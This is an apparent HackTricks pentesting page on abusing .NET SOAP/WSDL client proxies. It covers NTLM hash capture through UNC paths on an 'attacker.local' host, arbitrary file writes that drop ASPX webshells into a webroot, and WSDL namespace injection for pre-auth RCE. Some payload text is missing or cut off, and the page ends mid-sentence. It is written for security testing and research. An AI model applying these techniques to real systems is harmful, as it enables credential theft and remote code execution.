--- title: ".NET SOAP/WSDL Client Proxy Abuse" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0" --- # .NET SOAP/WSDL Client Proxy Abuse ## TL;DR - `SoapHttpClientProtocol`, `DiscoveryClientProtocol` and friends inherit from `HttpWebClientProtocol`, whose `GetWebRequest()` returns the scheme-agnostic `WebRequest` instance produced by `WebRequest.Create()` without enforcing `HttpWebRequest`. - If an attacker controls the proxy `Url`, the framework silently swaps in `FileWebRequest`, `FtpWebRequest` or UNC/SMB handlers, turning "HTTP" proxies into NTLM leak gadgets or arbitrary file writers. - Any feature that imports attacker-supplied WSDL with `ServiceDescriptionImporter` compounds the bug: the WSDL controls the generated proxy constructor, SOAP methods, complex types and namespaces, enabling pre-auth RCE (webshells, script drops) in products such as Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell and SSIS.[[1]](#references) ## Root cause: HttpWebClientProtocol is scheme-agnostic `WebClientProtocol.GetWebRequest()` does `var req = WebRequest.Create(uri)` and returns it untouched. `HttpWebClientProtocol.GetWebRequest()` tries `req as HttpWebRequest` to set HTTP-only fields, but it **still returns the original `req`** even when the cast fails. Therefore the runtime obeys whatever scheme is present in `Url`: - `http(s)://` → `HttpWebRequest` - `file:///` or `\\host\share\` → `FileWebRequest` - `ftp://` → `FtpWebRequest` `SoapHttpClientProtocol.Invoke()` then streams the SOAP POST body through whatever transport handler was selected, even if that means writing to disk or over SMB.[[1]](#references) ## Primitive 1 – NTLM capture / relay via UNC targets 1. Gain control over `SoapHttpClientProtocol.Url` (direct setter, config value, database row, etc.). 2. Point it to a UNC path like `file://attacker.local/sink/payload`. 3. The CLR opens the path via SMB and performs integrated authentication, leaking NTLM challenge/response to the attacker. 4. Use captured hashes for offline cracking or NTLM relay (SMB/HTTP) if signing/EPA are absent. This applies to **any** .NET SOAP/HTTP proxy path that accepts user input, even if no further exploitation is possible.[[1]](#references) ## Primitive 2 – Arbitrary file writes via `file://` 1. Set `Url = "file:///inetpub/wwwroot/poc.aspx"` (or any writable path) before the proxy call. 2. Invoke any SOAP method; the framework writes the entire SOAP envelope to the chosen path, overwriting existing files. 3. User-controlled arguments appear inside XML elements, letting attackers drop CSHTML/ASPX payloads or poison config files. Limitations:[[1]](#references) - Content is always XML; scalar fields are entity-encoded, so injecting ` ``` and point `Url` to `file:///.../webroot/shell.aspx` to gain RCE. - **Namespace injection**: Even when arguments are hard-coded (e.g., Umbraco Forms), namespaces declared in the WSDL (e.g., `xmlns:tns="http://host/service?x=@{...}"`) are copied verbatim into the SOAP envelope. Encoding payloads inside the namespace query string enables CSHTML Razor or PowerShell script drops without parameter control. These techniques powered the Barracuda Service Center RMM (CVE-2025-34392) exploit: an unauthenticated SOAP call supplied a malicious WSDL, set `soap12:address` to `file:///Program Files/.../SCMessaging/poc.aspx`, injected `